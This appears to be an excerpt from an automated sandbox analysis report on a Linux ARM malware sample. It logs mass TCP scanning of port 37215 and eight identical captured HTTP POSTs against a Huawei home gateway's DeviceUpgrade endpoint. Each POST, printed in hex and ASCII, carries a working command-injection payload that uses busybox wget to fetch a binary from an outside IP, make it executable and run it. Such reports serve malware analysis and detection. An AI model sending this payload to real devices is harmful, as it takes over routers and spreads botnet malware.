Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.236.39.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.105.40.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.217.128.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.150.139.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.101.186.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.252.113.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.65.187.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.245.108.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.248.12.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.76.7.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.180.53.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.152.243.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.211.20.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.173.81.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.143.229.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.222.250.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.170.23.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.235.252.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.60.169.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.168.21.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.19.116.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.250.112.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.111.147.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.17.0.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.214.205.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.146.91.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.160.172.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.139.191.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.44.133.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.8.191.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.187.131.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.213.75.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.83.170.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.69.30.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.152.59.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.184.25.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.205.123.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.202.113.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.88.27.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.251.49.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.132.192.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.213.74.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.104.197.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.234.203.24:37215

Source: /tmp/apep.arm (PID: 5224)

Socket: 127.0.0.1::45837

Jump to behavior

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 33 36 2e 34 33 2e 31 32 36 20 2d 6c 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 2d 72 20 2f 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 3b 20 2f 74 6d 70 2f 6d 6f 6e 6b 65 20 30 64 61 79 2e 72 6f 75 74 65 72 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
